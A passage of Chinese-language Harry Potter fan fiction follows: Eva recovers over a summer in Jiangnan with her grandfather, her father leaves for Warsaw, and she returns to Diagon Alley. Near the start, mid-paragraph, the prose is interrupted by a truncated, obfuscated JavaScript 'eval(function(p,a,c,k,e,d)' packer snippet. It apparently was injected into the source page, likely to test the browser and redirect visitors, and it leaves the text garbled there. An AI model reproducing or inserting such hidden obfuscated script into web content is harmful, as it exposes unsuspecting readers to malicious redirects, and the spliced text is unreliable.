“你爸爸说得对,‘记住你是谁’。不是要你束手束脚,是要你明白自己的位置,明白什么能做什么不能做。”爷爷的声音缓和了些,“这次你运气好,有玉佩护着,有那孩子母亲的保护魔法挡着。下次呢?” 堂屋里安静下来。只有窗外蝉鸣声一阵一阵传来。 “这个暑假,”最后爷爷说,“每天早晨跟我打坐,调理‘炁’。白天读书练字,下午帮我整理药材。晚上早点睡。不准用魔法,不准提霍格沃茨的事,不准写信——我会让你妈妈收着你的猫头鹰。” Eva抬起头:“可是爷爷,我答应朋友要写信……” “养好了再说。”爷爷不容商量,“真正的朋友,会理解你需要时间恢复。” 妈妈轻轻拍了拍Eva的手背,眼神里有关切,也有无奈。 事情就这么定了。 接下来的日子,Eva过起了与霍格沃茨截然不同的生活。 每天早上五点,天刚蒙蒙亮,爷爷就叫她起床。两人在后院槐树下打坐,一坐就是半小时。爷爷不教新东西,只是让她静心,感受呼吸,引导那股滞涩的“炁”慢慢流转。 起初很难。Eva一闭上眼睛,脑子里就浮现各种画面:巨怪的木棒,蜘蛛的复眼,黑雾扑来的冰冷……“炁”在体内乱窜,像受惊的鱼。 “静下来。”爷爷的声音很平稳,“杂念像水面上的落叶,你越想去捞,水波越大。看着它,让它自己漂走。” 她试着做。一天,两天,三天……渐渐地,那些画面出现得少了。“炁”的流动虽然还是慢,但不再那么滞涩,像冰层下的水流,随着春天来临,慢慢化开。 打坐完,吃早饭。然后是一小时的读书时间。爷爷不让她看魔法书,只准看家里的古籍——《论语》《庄子》《黄帝内经》,还有爷爷自己手抄的一些修身养性的笔记。字都是繁体竖排,读起来很慢,但Eva慢慢读进去了。有些话,以前觉得是空道理,现在好像懂了一点点。 “知者不惑,仁者不忧,勇者不惧。” 她在心里默念。知,仁,勇……她好像都有那么一点点,又好像都不够。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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素雪站在屋檐下的横杆上,偶尔发出咕咕声。它适应得很好,白天在院里散步,抓抓虫子,晚上回笼子睡觉。Eva每天喂它小鱼干,它总是用喙轻轻碰碰她的手指,像在说谢谢。 日子一天天过去,像河水一样,流得不快,但一直往前。 Eva的身体慢慢恢复了。脸色不再那么苍白,手臂的酸痛也消失了。体内的“炁”流转得顺畅了些,虽然还比不上以前那种自然的流动,但至少不再滞涩。 玉佩也慢慢恢复了光泽。她每天打坐时,会特意引导一丝“炁”去温润它,像爷爷说的“养玉”。玉佩贴着她胸口,温温的,像在回应。 她想起霍格沃茨的时间越来越少。偶尔梦里还会出现城堡的画面,但醒来后,那些画面就像晨雾,太阳一出来就散了。 七月中旬,爷爷开始让她用紫竹笔。 不是写字,是画符。最简单的安神符,只有三笔,但要一笔呵成,中间不能断。 “符是心念的延伸,”爷爷说,“心不静,符不成。” Eva试了很多次。前几次,笔尖刚碰到纸,手就抖,画出来的线歪歪扭扭。后来慢慢好了,能画出完整的符,但爷爷说“没有神”——意思是,有形无神,不起作用。 她也不急,每天练。画废的符纸堆了一小叠,爷爷收起来,说可以当引火纸。 七月底,台风来了。 不是直接登陆,但外围影响很大。风刮了一整天,呜呜地响,把槐树的叶子吹得哗啦啦响。雨下得急,打在瓦片上噼里啪啦。池塘的水涨高了,荷花被打得东倒西歪。 一家人待在屋里。门窗都关紧了,但风还是从缝隙钻进来,带着湿漉漉的凉意。 爷爷坐在堂屋,泡了一壶浓茶。茶香混着屋外风雨声,有种奇异的安宁。 “这样的天气,”爷爷慢慢说,“最适合想事情。” Eva坐在窗边,看着外面被风雨搅乱的世界。雨水在玻璃上划出一道道水痕,外面的景色模糊不清。 她想起霍格沃茨。现在英国应该是晴天吧?哈利在德思礼家,罗恩在陋居,赫敏在法国或者伦敦……他们都在做什么呢? 她答应要写信的。但爷爷不让,说养好了再说。 “爷爷,”她轻声问,“什么样的朋友,才算真朋友?” 爷爷喝了口茶,没有立刻回答。窗外的风雨声更大了。 “真朋友,”最后他说,“不是天天在一起,不是无话不说。是你在难的时候,他会想着你;他在难的时候,你会想着他。是就算很久不见,再见面时,还能像昨天才分开一样。” 他顿了顿:“也是……就算你不写信,他也能理解你为什么没写。” Eva低头看着自己的手。手指因为这段时间的劳作,指腹有点粗糙了。 “那如果……朋友在危险中呢?” “看情况。”爷爷说,“能帮就帮,但不能把自己也搭进去。真正的帮助,不是陪着一起跳火坑,是站在安全的地方,递根绳子,或者喊人来救。” “可是有时候,来不及喊人……” “那就看你的判断了。”爷爷看着她,“判断自己有没有能力帮,判断帮的代价是什么。这不是冷血,是清醒。不清醒的帮助,可能让情况更糟。” 风雨声中,Eva思考着这些话。她想起禁林那晚,想起昨晚地下房间。两次她都冲上去了,两次都差点出事。 “我是不是……太冲动了?” 爷爷放下茶杯:“是有点。但年轻嘛,冲动是常事。重要的是,吃了亏,要长记性。” 他站起身,走到窗边,看着外面的风雨:“你奶奶当年,也很冲动。看到不平事,一定要管。我说她,她总说‘有些事,看到了就不能不管’。”他顿了顿,声音低了些,“后来她参战,战死了。我没拦她,因为我知道拦不住。那是她的选择。” Eva抬起头。爷爷很少主动提奶奶的事。 “但我希望你能更聪明些,”爷爷转过身,眼神很认真,“不是更胆小,是更聪明。看清楚,想明白,再行动。有时候,慢一步,反而能走得更远。” 风雨渐渐小了。雨声从噼里啪啦变成淅淅沥沥,风也不再呜呜叫。 晚上,雨停了。月亮从云缝里露出来,黄黄的,像被水洗过。院子里积了水,月光照在水面上,亮晶晶的。 Eva睡不着,起身到后院。槐树的叶子湿漉漉的,往下滴水。池塘的水涨得很高,几乎要漫出来。荷花被打得七零八落,但还有几朵顽强地立着。 她坐在石凳上,仰头看月亮。玉佩贴在胸口,温温的。 爷爷的话在脑子里回响:“看清楚,想明白,再行动。” 她想起哈利,想起罗恩,想起赫敏,想起曼蒂……他们都是真朋友。她在难的时候,会想着他们。他们在难的时候,也会想着她。 但真朋友,不一定要一起冒险。有时候,站在安全的地方,也是一种支持。 就像现在。她在江南,他们在英国。隔着很远,但心连着。 她想写信,想告诉他们她很好,想问他们好不好。但爷爷说得对,养好了再说。真正的朋友,会理解。 月亮又躲进云里。院子里暗下来,只有积水反射着微弱的天光。 Eva深吸一口气。空气里有雨后青草和泥土的味道,湿湿的,凉凉的。 体内的“炁”缓缓流转,平和,顺畅。玉佩温温的,像在呼吸。 她忽然觉得,这个暑假,这样也挺好。 安静地养着,静静地想着,慢慢地恢复。 然后,等九月到了,再回去。 回到霍格沃茨,回到朋友们身边,继续学习,继续成长。 但这一次,她会更聪明些。 看清楚,想明白,再行动。 一步一步来。 她站起身,走回屋里。木地板发出轻微的吱呀声。素雪在笼子里动了动,咕咕叫了一声,像在说晚安。 Eva躺上床,闭上眼睛。 窗外的风轻轻吹过,带着雨后清凉。 江南的夏夜,安静得像一潭深水。 水面下,有暗流在慢慢积蓄力量,等待下一个出口。 但此刻,水面平静。 月光偶尔从云缝漏下,在水面投下细碎的银光。 然后云合拢,月光消失。 一切归于平静。 31. 平静之下的暗涌 台风过后,江南进入了真正的盛夏。 每天早晨,太阳还没完全升起来,空气就已经是温热的了。槐树叶子绿得发亮,密密匝匝地遮住大半个院子。知了从早到晚地叫,声音一阵高一阵低,像在唱一首永远不会完的歌。 Eva的生活像钟摆一样规律。 五点起床,跟爷爷在后院打坐。一开始还觉得早起困难,眼皮黏在一起,坐得腿麻。但渐渐地,身体记住了这个节奏。现在不用爷爷叫,她自己会醒,轻手轻脚下楼,爷爷已经在槐树下等她了。 打坐的时间从半小时延长到了一小时。爷爷不教新的呼吸法,只是让她“静观”——静静地坐着,什么都不想,只是感受呼吸,感受身体里那股“炁”的流动。 “像看溪水流,”爷爷说,“你看它,但别去搅它。让它自己流。” Eva试着做。起初脑子里还是会冒出各种念头:霍格沃茨的事,朋友们的事,爸爸妈妈严肃的脸……但爷爷教她,念头来了,就看着它,像看天上飘过的云,不追,不留,让它自己飘走。 慢慢地,能静下来的时间长了。有时候能坐完一小时,脑子里只留下呼吸的声音和“炁”流淌的细微感觉。那股滞涩感一点点消融,像春天的冰,虽然化得慢,但确实在化。 打坐完,吃早饭。粥,小菜,有时候有蒸糕或者油条。妈妈总是往她碗里夹菜:“多吃点,脸色好多了。” 确实好多了。镜子里那张脸不再那么苍白,眼睛下面的阴影也淡了。手臂的酸痛完全消失,写字时手腕稳稳的。 上午读书。爷爷指定她读《庄子》,说“逍遥游”里的境界,对调理心神有帮助。Eva一个字一个字地读,有些句子看不懂,就问爷爷。爷爷不直接解释,总是说:“再读读,自己想想。” “北冥有鱼,其名为鲲。鲲之大,不知其几千里也……” 她读着,想象那条巨大的鱼,在深海里游,然后化成鸟,飞上天空。这种自由自在的感觉,好像和打坐时“炁”自然流动的状态有点像。 读书完,练字。爷爷要求越来越严:墨要磨得浓淡适中,手腕要悬,笔画要稳。她现在能写完整的句子了,虽然字还说不上多好看,但至少端正。 “静以修身,俭以养德。” 她在宣纸上写这八个字,一笔一划。写“静”字时,心里真的静;写“俭”字时,想起霍格沃茨那些复杂的咒语和药水——有时候最简单的,反而最难。 午饭总是清淡的:清蒸鱼,炒青菜,冬瓜汤。爷爷说夏天要吃清淡,养脾胃。Eva吃得不多,但每口都细嚼慢咽。胃里暖暖的,舒服。 下午整理药材。这项工作是Eva最喜欢的。小药房里凉凉的,草药的清苦气味让人心安。她把晒干的药材分门别类:党参放进贴着红标签的瓷罐,黄芪放进贴着黄标签的,当归放进贴着白标签的…… 爷爷一边整理,一边讲每味药的特性:“党参补气,黄芪固表,当归养血……用药如用兵,要知其性,明其用。” Eva认真听着,手里的动作很轻。她发现每味药都有自己的“脾气”:有的要避光,有的要防潮,有的要密封。就像人一样,各有各的性子,要懂得怎么相处。 有时候,爷爷会带她去镇外的山上采药。山路不好走,但风景很好。树林里凉快,能听见鸟叫和溪水声。爷爷教她认草药:这是车前草,清热利尿;这是金银花,解毒散热;这是夏枯草,清肝明目…… “采药也有讲究,”爷爷一边用小锄头小心地挖一株何首乌,一边说,“不能贪多,不能伤根。采一半,留一半,明年还能长。” Eva蹲在旁边看。何首乌的根像个小人儿,爷爷只挖了半边,把土仔细填回去,还浇了点水。 “这样它还能活?”她问。 “能,”爷爷站起来,拍拍手上的土,“万物有灵,要留余地。” 傍晚,有时跟妈妈去集市。镇子不大,一条主街,两边是店铺和摊位。卖菜的阿婆认识她:“小囡又长高了!来,这个西红柿刚摘的,给你妈妈带回去。” Eva接过西红柿,红红的,还带着蒂。妈妈付钱时,阿婆总要多给两根葱:“自家种的,不值钱。” 回家的路上,夕阳把白墙黑瓦染成金色。河面上波光粼粼,有船夫在收网,网里银色的鱼跳来跳去。 晚上,一家人在院子里乘凉。爷爷摇着蒲扇,讲古时候的故事:神农尝百草,扁鹊见蔡桓公,华佗刮骨疗伤……Eva听得入神,觉得这些故事和霍格沃茨的魔法史一样有趣。 “爷爷,这些是真的吗?”有一次她问。 爷爷笑了笑:“故事真不真,看你怎么听。重要的是里面的道理。” 月亮升起来,黄黄的,圆圆的。素雪站在屋檐下,偶尔扑棱一下翅膀。它已经完全适应了这里的生活,白天在院子里散步,抓虫子吃,晚上回笼子睡觉。Eva每天喂它小鱼干,它总是用喙轻轻碰碰她的手指。 日子就这样一天天过去,平静得像院子里的池塘水。 但Eva知道,水面下有暗流。 七月底的一个下午,她在药房里整理新收的薄荷。薄荷叶绿绿的,闻起来清凉。她正仔细地把叶子摊开晾晒,听见堂屋里有说话声——是爸爸在接电话。 声音压得很低,但药房的门开着,能隐约听见几个词:“……东欧……局势……压力……” 然后是长时间的沉默,只听见爸爸“嗯”“好”的回应声。 电话挂了。脚步声往书房去。Eva透过门缝看见爸爸的背影,挺得很直,但肩膀有些下沉。 晚饭时,爸爸几乎没说话。妈妈往他碗里夹菜,他机械地吃着,眼睛看着远处,像在想什么重要的事。 爷爷看了他一眼,没说什么。 那天晚上,Eva睡不着。她躺在床上,听着窗外的虫鸣声,脑子里想着爸爸那个下沉的肩膀。 她知道爸爸的工作一直很忙,压力很大。但这次好像不一样——那种紧绷感,像一根拉得太紧的弦,随时会断。 八月初,发生了一件小事。 那天下午,Eva在院子里练字。爷爷坐在槐树下看书,妈妈在厨房准备晚饭。爸爸从镇上回来,手里拿着一个牛皮纸信封。 信封很厚,边角磨得发毛。爸爸没立刻拆,把它放在堂屋的桌子上,然后去了书房。 晚饭后,爷爷叫Eva去后院:“今天的字还没练完。” Eva知道爷爷是有话要说。她跟着爷爷走到槐树下,月光很好,把树影投在地上,斑斑驳驳的。 “坐。”爷爷指了指石凳。 两人坐下。夏夜的暖风吹过,带着荷花的淡淡香气。 “你爸爸最近压力大,”爷爷开门见山,“工作上有些麻烦。” Eva点点头:“我看出来了。” “知道为什么让你来霍格沃茨吗?”爷爷问。 这个问题Eva想过很多次。“因为……中英友谊?” “是,也不是。”爷爷摇着蒲扇,慢慢说,“友谊是要维护的,但不是靠一个孩子去维护。让你去,更多是……给你一个选择。” “选择?” “嗯。”爷爷看着远处的池塘,“你奶奶那一辈,很多人选择了入世,选择了战斗。结果呢?活下来的没几个。我和你爸爸这一辈,选择了求稳,选择了发展。现在到你这一辈……” 他顿了顿:“你可以选择继续求稳,也可以选择别的路。霍格沃茨是一个窗口,让你看看外面的世界,看看不同的路。” Eva静静地听着。月光在爷爷脸上投下柔和的阴影,那些皱纹像树的年轮,记录着岁月的痕迹。 “但选择是有代价的,”爷爷继续说,“你这次经历的危险,就是代价的一部分。你爸爸生气,不是气你冒险,是气自己没能保护好你,是气……这个世界还是这么危险。” 池塘里传来青蛙的叫声,呱呱呱,一阵一阵的。 “你爸爸那一代人,经历过动荡,所以特别想求稳。但世界不是你想稳就能稳的。”爷爷叹了口气,“东欧那边……不太平。他在那个位置,压力很大。你的安全,成了他额外的负担。” Eva低下头,手指绞在一起。她想起爸爸在车里说的话:“……你的任何一点出格行为,都可能被放大、被曲解……” “那我现在……应该怎么做?”她轻声问。 “做好你该做的,”爷爷说,“养好身体,静下心来。你稳了,你爸爸才能少操一份心。” “可是……” “没有可是。”爷爷的语气很平和,但不容置疑,“你现在能做的,就是把自己照顾好。别的,等你长大了再说。” 那天晚上,Eva想了很久。她躺在床上,看着天花板上的木纹,像看地图上的河流。 她想起了霍格沃茨,想起了朋友们,想起了那些冒险。那些经历像火,在她心里点燃了什么——不是对危险的渴望,是对成长的渴望,对更广阔世界的渴望。 但爷爷说得对,她现在能做的,就是把自己照顾好。 养好身体,静下心来。 一步一步来。 八月中旬,发生了一件事,打破了表面的平静。 那天是农历七月十五,中元节。按照习俗,晚上要在河边放河灯,祭奠祖先。 傍晚,一家人吃了简单的晚饭,然后提着准备好的河灯去镇上。河灯是纸做的,折成莲花形状,中间放一小截蜡烛。妈妈做的,很精致。 河边已经有很多人了。一盏盏河灯被放入水中,顺流而下,星星点点,像一条流动的光带。有人在低声念着亲人的名字,有人在默默祈祷。 爷爷把三盏河灯放入水中:一盏给奶奶,一盏给太爷爷太奶奶,一盏给那些战死的同门。 “愿你们安息。”他轻声说。 河灯随着水流慢慢漂远,烛光在水面上摇晃。 Eva也放了一盏。她不知道放给谁,只是默默祝愿所有逝去的人都能安息。 放完河灯,一家人沿着河慢慢走回家。月光很好,把青石板路照得白白的。远处传来隐约的诵经声,是寺庙里的和尚在做法事。 走到老宅门口时,爸爸突然停下脚步。 门口站着一个人。 是个中年男人,穿着普通的衬衫长裤,但站得很直,像军人。看见他们,他快步走过来,对爸爸敬了个礼——不是军礼,但动作很标准。 “张处。” 爸爸的脸色变了:“小李?你怎么……” “有急事。”叫小李的男人压低声音,递过一个密封的文件袋,“部里的紧急通知。” 爸爸接过文件袋,手指有些抖。他看了看爷爷,又看了看Eva和妈妈。 “先进屋。”爷爷说,声音很稳。 堂屋里,爸爸拆开文件袋。里面是几页纸,盖着红色的章。他快速看着,脸色越来越白。 妈妈担心地握住他的手:“谦,怎么了?” 爸爸没说话,只是把文件递给爷爷。爷爷接过来,戴上老花镜,仔细看。 堂屋里很安静,只有纸张翻动的沙沙声和窗外隐约的虫鸣。 Eva站在一边,手指无意识地摸着腕上的玉佩。玉佩温温的,和平常一样。 爷爷看完文件,摘下老花镜,揉了揉鼻梁。 “什么时候走?”他问爸爸。 “明天一早。”爸爸的声音有些哑,“上海飞柏林,然后转机去华沙。” “去多久?” “不知道。短则一个月,长则……”爸爸没说完。 妈妈的眼圈红了,但她咬着嘴唇,没哭出来。 小李站在门口,低着头,像在等指示。 “工作需要,”爸爸转向妈妈和Eva,努力让自己的声音平稳些,“东欧那边……局势有变,需要人过去处理。我是最合适的人选。” “危险吗?”妈妈问,声音在发抖。 爸爸沉默了几秒:“工作而已。会小心的。” 这话说了等于没说。堂屋里的空气更沉重了。 爷爷站起身,走到爸爸面前,拍了拍他的肩膀:“去吧。家里有我。” 爸爸点点头,眼圈也有点红。他看向Eva,眼神很复杂——有关切,有担忧,有不舍,还有很多Eva看不懂的东西。 “丽华,”他说,“好好听爷爷的话。照顾好妈妈。” “我会的,爸爸。”Eva说,声音比自己想象的要稳。 那天晚上,爸爸收拾行李到很晚。Eva躺在床上,能听见楼下传来的轻微声响:行李箱轮子的声音,抽屉开合的声音,还有爸爸妈妈低低的说话声。 她睡不着,起身走到窗边。月亮已经升得很高,银色的光洒满院子。槐树的影子在地上轻轻摇晃。 她想起爸爸那个下沉的肩膀,想起他苍白的脸色,想起他说“工作需要”时那种故作轻松的语气。 这个世界,真的不像表面那么平静。 第二天一早,天还没亮,爸爸就走了。 小陈开车来接他。行李箱放进后备箱,爸爸和妈妈拥抱,又摸了摸Eva的头。 “好好学习,”他说,“等我回来。” 然后他上车,车子发动,驶出古镇,消失在晨雾里。 妈妈站在门口,一直看着车子消失的方向,很久没动。爷爷走到她身边,轻声说:“回屋吧,早上凉。” 早饭吃得很安静。粥还是热的,但Eva觉得没什么味道。妈妈几乎没动筷子,只是小口喝着水。 “我没事,”妈妈看出Eva的担心,勉强笑了笑,“就是有点……不习惯。” 爷爷给妈妈夹了块腌黄瓜:“多吃点。他在外面工作,你在家里要照顾好自己,别让他担心。” 妈妈点点头,努力吃了点东西。 那天之后,家里的气氛有些不一样了。 妈妈还是每天做饭、收拾屋子,但话少了,常常一个人坐在院子里发呆。爷爷的话也少了,更多时间待在书房里,不知道在看什么书。 Eva的生活节奏没变,但心里多了份牵挂。每天早上打坐时,她会在心里默默祝愿爸爸平安;每天晚上看星星时,她会想,爸爸现在在哪个国家,那里能看到同样的星星吗? 八月底,夏天快过去了。 院子里的荷花开始凋谢,花瓣一片片落下,漂在水面上。槐树的叶子还是绿的,但不像盛夏时那么鲜亮了。知了的叫声也稀了,不像以前那么吵。 Eva的身体完全恢复了。体内的“炁”流转顺畅,比去霍格沃茨之前还要平和。玉佩也恢复了光泽,太极图的纹路清晰可见,在阳光下泛着温润的光。 爷爷开始教她新的东西:不是魔法,是中医的基础理论。 “阴阳五行,相生相克,”爷爷在纸上画着图,“金生水,水生木,木生火,火生土,土生金。这是相生。金克木,木克土,土克水,水克火,火克金。这是相克。” Eva认真听着,觉得这和魔法的原理有些相似——不是直接的力量对抗,是更微妙的平衡与转化。 “人体也是一个小宇宙,”爷爷继续说,“五脏对应五行:肝属木,心属火,脾属土,肺属金,肾属水。要平衡,不能偏。” 他让Eva给自己把脉:“感受一下,脉搏的强弱、快慢、沉浮……” Eva把手指搭在自己手腕上,刚开始什么都感觉不到。但静下心,慢慢能感觉到脉搏的跳动,像小溪流,一下一下,有规律。 “感觉到了吗?”爷爷问。 “嗯。”Eva点头,“有点像……‘炁’的流动。” 爷爷笑了:“本来就是相通的。中医讲气血,修行讲炁,都是生命能量的不同说法。” 那天下午,Eva在药房里整理药材时,忽然有了个想法。 她拿出爷爷给的那套黄铜天平砝码——弗立维教授送的礼物,一直没机会用。她把几种药材放在天平上称量:党参三钱,黄芪两钱,当归一钱…… 然后按照爷爷教的君臣佐使的配伍原则,试着配了一个简单的补气方。 配好后,她拿给爷爷看。 爷爷仔细看了看药材的比例,又闻了闻味道,点点头:“配伍合理,剂量适中。不错。” Eva心里涌起小小的成就感。这比成功施一个魔咒的感觉不一样——更踏实,更温和。 八月的最后一天,爸爸寄来了第一封信。 信是普通的航空信,信封上有波兰的邮票。妈妈拆信时手有点抖。 信不长,爸爸说已经到了华沙,工作很忙,但一切安好。让家里不要担心。特别嘱咐Eva要听话,好好学习。 妈妈把信读了好几遍,然后小心地折好,放进抽屉里。 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Eva想了想,点点头:“有点。” “正常,”爷爷说,“年轻人都想往外走。但记住,家永远在这里。” 那天下午,爷爷把她叫到书房,给了她一个小布包。 布包是深蓝色的,用同色的线绣着简单的云纹。Eva打开,里面是几样东西:一小瓶药丸,用蜡封着口;一卷新的绢帛,比之前那本更厚实;还有一把小木梳,梳齿很密,带着淡淡的檀香味。 “药丸是安神补气的,如果觉得心神不宁,可以吃一粒,但不要多吃。”爷爷一样一样交代,“绢帛上记了些新东西,有空看看。梳子……你奶奶留下的,每天梳头一百下,通经络。” Eva小心地收好东西:“谢谢爷爷。” “还有这个,”爷爷从抽屉里拿出一个信封,“给你爸爸妈妈的。等他们回来,交给他们。” 信封没封口,Eva看见里面是几页信纸,字迹很工整。 “爷爷,您写了什么?”她忍不住问。 “一些该说的话。”爷爷拍拍她的肩膀,“你长大了,有些事该知道了。但不是现在。” 他顿了顿,看着窗外的院子:“这个世界在变,丽华。你爸爸那一代想求稳,但稳不住。你这一代……可能要面对更多变化。记住我教你的:守中持正,静观其变。看不清楚的时候,别急着站队。站稳了,比什么都重要。” Eva认真地点头:“我记住了。” 那天晚上,她躺在床上,很久没睡着。 窗外的月光很好,把房间照得半明半暗。她想起这一年的经历:霍格沃茨的城堡,拉文克劳的塔楼,朋友们,冒险,危险,还有江南这个安静的夏天。 像两条完全不同的河,一条湍急,一条平缓。但她在这两条河里都学会了游泳。 她摸着腕上的玉佩,温温的。又摸了摸枕头下的紫竹笔,凉凉的。 这两样东西,提醒着她的根和她的路。 九月二日,妈妈收到霍格沃茨的信。 不是猫头鹰送来的,是普通的国际挂号信。厚厚的羊皮信封,上面用翠绿色的墨水写着地址。 妈妈把信递给Eva时,表情很复杂:“是你的。” Eva拆开信。里面是下学期的书单、用品清单,还有一张车票——九月一日,国王十字车站,上午十一时。和她去年那张一模一样。 “你要回去了。”妈妈轻声说。 “嗯。”Eva点头。 妈妈沉默了一会儿,然后说:“你爸爸……可能赶不回来送你。” “我知道。”Eva说,“工作重要。” 妈妈的眼圈红了,但她没哭,只是紧紧抱了Eva一下:“一定要小心。不能再像上次那样……” “我会小心的,妈妈。” 那天晚上,Eva开始收拾行李。深蓝色的行李箱又拿出来,里面空空的,有淡淡的樟脑味。 她把要带的东西一样样放进去:校服长袍,课本,羊皮纸和羽毛笔,那套青色素袍和旗袍,黄铜天平砝码,爷爷给的药丸、绢帛和木梳,紫竹笔盒,还有朋友们送的小礼物——曼蒂的星座仪,赫敏的书,哈利和罗恩的巧克力蛙卡片…… 每放一样,都像放进去一段记忆。 素雪的笼子也准备好了。雪鸮好像知道要出发,在笼子里不安地走动,琥珀眼睛亮亮的。 九月三日,出发的前一天。 Eva去镇上买了些东西:给哈利的芝麻糖,给罗恩的核桃酥,给赫敏的薄荷香膏,给曼蒂的丝绸手帕。都用彩纸包好,系上丝带。 下午,她和爷爷最后去了一次山上采药。山路还是那样,树林还是那样凉快。但这次,爷爷没教她认新草药,只是和她慢慢走,偶尔说几句话。 “回去后,功课不能落下,”爷爷说,“但也不要太拼命。循序渐进。” “我知道。” “朋友要交,但要有分寸。不是所有人都值得完全信任。” “嗯。” “遇到事,先想,再看,最后做。别冲动。” “记住了。” 走到山顶时,太阳已经开始西斜。站在这里能看到整个古镇:白墙黑瓦的房子,蜿蜒的小河,远处的稻田,还有更远处的山。 “好看吗?”爷爷问。 “好看。”Eva说。 “记住这个画面,”爷爷说,“以后不管走到哪里,累了,就想想这里。” 那天晚上,一家人吃了顿简单的晚饭。妈妈做了Eva爱吃的菜:清蒸鱼,炒青菜,还有冬瓜汤。和平时一样,但又不一样。 饭后,爷爷把Eva叫到后院。 月光很好,槐树的影子在地上画着奇怪的图案。池塘水面平静,倒映着天上的星星。 爷爷从袖子里拿出一个小锦囊,递给Eva。 锦囊是深红色的,用金线绣着太极图。Eva打开,里面是一块小小的玉牌,白色,温润,上面刻着几个字:“守中持正”。 “贴身戴着,”爷爷说,“不是护身符,是提醒。提醒你任何时候,都要站稳。” Eva小心地把玉牌收好,和玉佩放在一起。两块玉碰在一起,发出轻微的叮声,像在呼应。 “爷爷,”她轻声问,“您觉得……我选的路对吗?” 爷爷没有立刻回答。他抬头看着天上的星星,看了很久。 “路没有对错,”最后他说,“只有适不适合。你现在走的这条路,是你自己选的。走下去,看看能走到哪里。” 他顿了顿,看向Eva:“但要记住,不管走到哪里,家在这里。累了,就回来。” Eva点点头,眼睛有点热。 第二天一早,天还没亮,Eva就起床了。 最后一次在槐树下打坐。呼吸,静心,“炁”平稳地流淌。玉佩温温的,新玉牌也温温的。 最后一次吃妈妈做的早饭。粥,小菜,还有特意蒸的桂花糕。 最后一次检查行李。一切都收拾好了。 小陈开车来接。和爸爸走时一样,行李箱放进后备箱,素雪的笼子放在后座。 妈妈抱了抱Eva,抱得很紧:“一定要写信。每周都要写。” “我会的,妈妈。” 爷爷站在门口,没有拥抱,只是摸了摸Eva的头:“去吧。” Eva上车。车子发动,驶出古镇。 她回头看。老宅的白墙黑瓦在晨雾中渐渐模糊,爷爷和妈妈的身影越来越小,最后消失在拐角处。 车子驶上公路,驶向上海,驶向机场。 窗外的风景飞快后退:稻田,鱼塘,村庄,然后是城市的高楼。 Eva摸着腕上的玉佩,又摸了摸胸前的玉牌。 两个世界,两条路。 但她都要走。 一步一步来。 飞机起飞时,她看着舷窗外越来越小的上海。然后闭上眼睛,深呼吸。 霍格沃茨,我回来了。 朋友们,我回来了。 新的学年,新的挑战,新的成长。 她准备好了。 至少,她希望自己准备好了。 32. 二年级的雨幕 飞机降落在希思罗机场时,伦敦正下着雨。 不是夏天那种痛快的暴雨,是秋天那种细细密密的、黏糊糊的雨。雨丝在灰蒙蒙的天空里斜斜地飘着,把机场跑道和停机坪都打得湿漉漉的,泛着冷光。Eva透过舷窗看出去,一切都像是隔着一层薄纱。 素雪在笼子里不安地动了动。飞机降落时的气压变化让它不舒服,琥珀色的眼睛在布罩的缝隙里闪烁着警惕的光。 下飞机,取行李,过海关。流程和暑假前一样,只是方向反了。爸爸不在——他还在东欧,妈妈说至少还要一个月才能回来。是陈叔叔来接的她。 “张小姐。”陈叔叔还是老样子,话很少,点点头接过行李车。 车子驶出机场,驶入伦敦灰蒙蒙的雨幕里。雨刮器在挡风玻璃上来回摆动,发出单调的嚓嚓声。窗外的景色飞速倒退:高速路,立交桥,渐渐密集的房子,最后是熟悉的伦敦街道——只是被雨水洗过后,颜色都暗了一层。 车子在查令十字街附近停下。陈叔叔把行李箱和猫头鹰笼子搬下来:“需要我送您进去吗?” “不用了,谢谢陈叔叔。”Eva说。她已经换上了校袍——深黑色的崭新长袍,料子比一年级的厚实些,袖口和领口镶着拉文克劳的蓝青铜色滚边。素雪的笼子也换了个新的,更大些,但雪鸮似乎不太喜欢,在里头焦躁地踱步。 “那好。”陈叔叔点点头,“祝您新学期顺利。” 车子开走了。Eva站在雨中,看着那辆黑色轿车消失在街角。雨水打在袍子上,发出轻微的噗噗声。她深吸一口气,空气里有雨水、汽车尾气和远处咖啡店飘来的淡淡香气混合的味道。 然后她转身,推开破釜酒吧那扇油乎乎的黑门。 里面还是老样子:昏暗,拥挤,烟味和啤酒味混在一起。几个老巫师坐在角落里,面前摆着空酒杯,正在争论什么。酒吧老板汤姆抬头看见她,咧嘴笑了,露出缺了门牙的洞。 “哟,回来啦!霍格沃茨的?”他擦了擦手里的杯子——那块抹布看起来比去年更脏了,“后头,敲墙,你知道规矩。” Eva点点头,推着行李车穿过酒吧。经过柜台时,汤姆又叫住她:“对了,有个事儿——魔法部发了通知,今年新生特别多,对角巷挤得很。你最好快点,别耽误了火车。” “谢谢。”Eva说。 后院还是堆着垃圾箱,气味更难闻了——雨水把腐烂的东西泡发了。她找到垃圾桶上方那块砖,抽出魔杖——紫杉木魔杖在雨天的昏暗中泛着幽深的光泽。 哒,哒,哒。 墙动了。砖块旋转着分开,露出那条熟悉的拱道。 一走进对角巷,喧嚣声立刻涌过来。比去年更吵,更挤。街道上密密麻麻全是人,穿着各式各样的袍子,推着行李车,抱着课本,牵着哭闹的孩子。店铺的橱窗闪闪发亮,里面摆着新学期的商品:会自己写作业的羽毛笔(广告牌上写着“保证O.W.Ls通过!”),会自动纠错的羊皮纸,还有最新款的飞天扫帚——光轮2001,陈列在魁地奇精品店的橱窗里,闪着傲慢的光。 Eva推着车,小心地在人群中穿行。她得先去古灵阁取钱——妈妈给了她一张取款单,说今年的生活费已经存进去了。 古灵阁的大理石大厅里挤满了人。妖精们坐在高高的柜台后面,戴着眼镜,用细长的手指飞快地数着金币,发出叮叮当当的响声。队伍排得很长,一直排到门口。 Eva排队时,看见前面有个熟悉的身影——红头发,旧袍子,正在和柜台里的妖精争论什么。 “……可是账单上明明写着……” “抱歉,韦斯莱先生,您账户里的余额确实不够支付这些课本的费用。”妖精的声音干巴巴的,没有感情。 是罗恩。他脸涨得通红,手里紧紧攥着一张羊皮纸清单。旁边站着金妮·韦斯莱——Eva认出来了,那个在车站见过的红头发小女孩,现在长高了些,但还是很瘦,紧紧抓着一本崭新的《标准咒语,二级》。 